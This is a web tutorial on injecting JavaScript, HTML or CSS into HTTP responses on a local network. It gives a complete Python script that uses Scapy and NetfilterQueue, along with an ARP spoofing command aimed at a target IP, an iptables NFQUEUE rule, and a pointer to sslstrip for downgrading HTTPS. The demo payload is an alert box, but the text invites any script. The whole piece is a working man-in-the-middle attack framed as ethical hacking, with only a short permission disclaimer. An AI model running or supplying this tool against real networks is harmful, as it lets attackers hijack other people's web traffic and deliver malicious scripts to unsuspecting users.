How to Inject Code into HTTP Responses in the Network in Python

Learn how you can inject Javascript, HTML or CSS to HTTP response packets in a spoofed network using Scapy and NetfilterQueue in Python.
  · 9 min read · Updated may 2022 · Ethical Hacking · Packet Manipulation Using Scapy

After performing ARP spoofing on a target computer in a network, you can do many types of attacks. As you may already know, when you ARP spoof a target on a network, you will be the man-in-the-middle, which means every packet that's being transmitted is seen and can be modified by the attacker.

In this tutorial, you will learn how to inject Javascript (or even HTML and CSS) code into HTTP packets in a network using the Scapy library in Python.

Scapy is a packet manipulation tool for computer networks written in Python. It runs natively on Linux and provides us with the ability to sniff, read, and modify packets easily.

To be able to modify packets on the fly, you have to:

  • Having a Linux machine, Kali Linux is a plus.
  • Being the man-in-the-middle by ARP spoofing the target, the ARP spoofing tutorial will give you more details on how it's done, and we will just run the script in this tutorial.
  • Adding a new NFQUEUE FORWARD rule on the iptables command.
  • Run the Python script of this tutorial.

First, let's install the required libraries for this tutorial:

$ pip install scapy==2.4.5 netfilterqueue colorama

If you struggle to install Scapy on Debian/Ubuntu, check this tutorial.

NetfilterQueue provides access to packets matched by an iptables rule on Linux. Therefore, the packets can be modified, dropped, accepted, or reordered.

We'll be using colorama to print in colors.

First, let's import our libraries and initialize the colors:

from scapy.all import *
from colorama import init, Fore
import netfilterqueue
import re

# initialize colorama
init()

# define colors
GREEN = Fore.GREEN
RESET = Fore.RESET

Next, to bind to the NetfilterQueue, we have to make a function that accepts the packet as a parameter, and we will do the packet modification there. The function will be long and therefore split into two parts:

def process_packet(packet):
    """
    This function is executed whenever a packet is sniffed
    """
    # convert the netfilterqueue packet into Scapy packet
    spacket = IP(packet.get_payload())
    if spacket.haslayer(Raw) and spacket.haslayer(TCP):
        if spacket[TCP].dport == 80:
            # HTTP request
            print(f"[*] Detected HTTP Request from {spacket[IP].src} to {spacket[IP].dst}")
            try:
                load = spacket[Raw].load.decode()
            except Exception as e:
                # raw data cannot be decoded, apparently not HTML
                # forward the packet exit the function
                packet.accept()
                return
            # remove Accept-Encoding header from the HTTP request
            new_load = re.sub(r"Accept-Encoding:.*\r\n", "", load)
            # set the new data
            spacket[Raw].load = new_load
            # set IP length header, checksums of IP and TCP to None
            # so Scapy will re-calculate them automatically
            spacket[IP].len = None
            spacket[IP].chksum = None
            spacket[TCP].chksum = None
            # set the modified Scapy packet back to the netfilterqueue packet
            packet.set_payload(bytes(spacket))

This is only half of the function:

  • We convert our Netfilterqueue packet into a Scapy packet by wrapping the packet.get_payload() by an IP() packet.
  • If the packet is a Raw layer (some kind of data) has a TCP layer, and the destination port is 80, then it's definitely an HTTP request.
  • In the HTTP request, we look for Accept-Encoding header, if it's available, then we simply remove it so we can get the HTTP responses as raw HTML code and not some kind of compression such as gzip.
  • We also set the length of the IP packet, checksums of TCP and IP layers to None, so Scapy will automatically re-calculate them.

Next, here's the other part of detecting HTTP responses:

        if spacket[TCP].sport == 80:
            # HTTP response
            print(f"[*] Detected HTTP Response from {spacket[IP].src} to {spacket[IP].dst}")
            try:
                load = spacket[Raw].load.decode()
            except:
                packet.accept()
                return
            # if you want to debug and see the HTML data
            # print("Load:", load)
            # Javascript code to add, feel free to add any Javascript code
            added_text = "<script>alert('Javascript Injected successfully!');</script>"
            # or you can add HTML as well!
            # added_text = "<p><b>HTML Injected successfully!</b></p>"
            # calculate the length in bytes, each character corresponds to a byte
            added_text_length = len(added_text)
            # replace the </body> tag with the added text plus </body>
            load = load.replace("</body>", added_text + "</body>")
            if "Content-Length" in load:
                # if Content-Length header is available
                # get the old Content-Length value
                content_length = int(re.search(r"Content-Length: (\d+)\r\n", load).group(1))
                # re-calculate the content length by adding the length of the injected code
                new_content_length = content_length + added_text_length
                # replace the new content length to the header
                load = re.sub(r"Content-Length:.*\r\n", f"Content-Length: {new_content_length}\r\n", load)
                # print a message if injected
                if added_text in load:
                    print(f"{GREEN}[+] Successfully injected code to {spacket[IP].dst}{RESET}")
            # if you want to debug and see the modified HTML data
            # print("Load:", load)
            # set the new data
            spacket[Raw].load = load
            # set IP length header, checksums of IP and TCP to None
            # so Scapy will re-calculate them automatically
            spacket[IP].len = None
            spacket[IP].chksum = None
            spacket[TCP].chksum = None
            # set the modified Scapy packet back to the netfilterqueue packet
            packet.set_payload(bytes(spacket))
    # accept all the packets
    packet.accept()

Now, if the source port is 80, then it's an HTTP response, and that's where we should modify our packet:

  • First, we extract our HTML content from the HTTP response from the load attribute of the packet.
  • Second, since every HTML code has the enclosing tag of body (</body>), then we can simply replace that with the injected code (such as JS) and append the </body> back at the end.
  • After the load variable is modified, then we need to re-calculate the Content-Length header that is sent on the HTTP response, we add the length of the injected code to the original length and set it back using re.sub() function. If the text is in the load, we print a green message indicating we have successfully modified the HTML of an HTTP response.
  • Furthermore, we set the load back and removed the length and checksum as before, so Scapy will re-calculate them.
  • Finally, we set the modified Scapy packet to the NetfilterQueue packet and accept all forwarded packets.

Now our function is ready, let's run the queue:

if __name__ == "__main__":
    # initialize the queue
    queue = netfilterqueue.NetfilterQueue()
    # bind the queue number 0 to the process_packet() function
    queue.bind(0, process_packet)
    # start the filter queue
    queue.run()

After instantiating NetfilterQueue(), we bind our previously defined function to the queue number 0 and then run the queue.

Please save the file as http_code_injector.py and let's initiate the attack.

ARP Spoofing the Target

To get started, you have to have two machines connected to the same network. The target machine can be on any OS. However, the attacker machine needs to be on Linux. Otherwise, this won't work.

Once you have the IP address of the target machine as well as the gateway (router or access point) IP, grab this ARP Spoofing Python script and run it on the attacker machine:

$ python3 arp_spoof.py 192.168.43.112 192.168.43.1

In my case, 192.168.43.112 is the IP address of the target machine, and the gateway IP is 192.168.43.1; here's what the output will look like:

[!] Enabling IP Routing...
[!] IP Routing enabled.

This enabled IP forwarding, which is necessary to forward packets on the attacker's machine. If you want to see ARP packets sent by this script, simply pass -v or --verbose parameter.

Adding IPTables Rule

Now that you're the man-in-the-middle, go ahead and add the FORWARD rule on iptables:

$ iptables -I FORWARD -j NFQUEUE --queue-num 0

After you run this command, you'll notice the target machine will lose Internet connectivity, and that's because packets are stuck on the attacker's machine, and we need to run our script to get it back again.

Injecting Code to HTTP Packets

Now we simply run the Python code of this tutorial:

$ python http_code_injector.py

Now go ahead on the target machine and browse any HTTP website, such as ptsv2.com or http://httpbin.org, and you'll see something like this on the attacker's machine:

Code injection successfulOn the browser on the target machine, you'll see the alert that we injected:

JS Alert appeared

You'll also see the injected code if you view the page source:

Code injected in page sourceConclusion

Awesome! Now you're not limited to this! You can inject HTML, CSS, replace the title, replace styles, replace images, and many more; the limit is your imagination.

When you finish the attack, make sure you CTRL+C the ARP spoofing script and run iptables --flush command to turn everything back to normal.

For more detail about ARP spoofing, check our tutorial on this.

Note that the code will work only on HTTP websites. If you want it to work on HTTPS, consider using tools like sslstrip to downgrade the target machine from HTTPS to HTTP.

Please note that we do not take any responsibility for the damage you do with the code, use this on your machine or request permission to test it for learning purposes.

Learn also: How to Sniff HTTP Packets in the Network using Scapy in Python.

Happy hacking ♥

View Full Code
Sharing is caring!



Read Also



Comment panel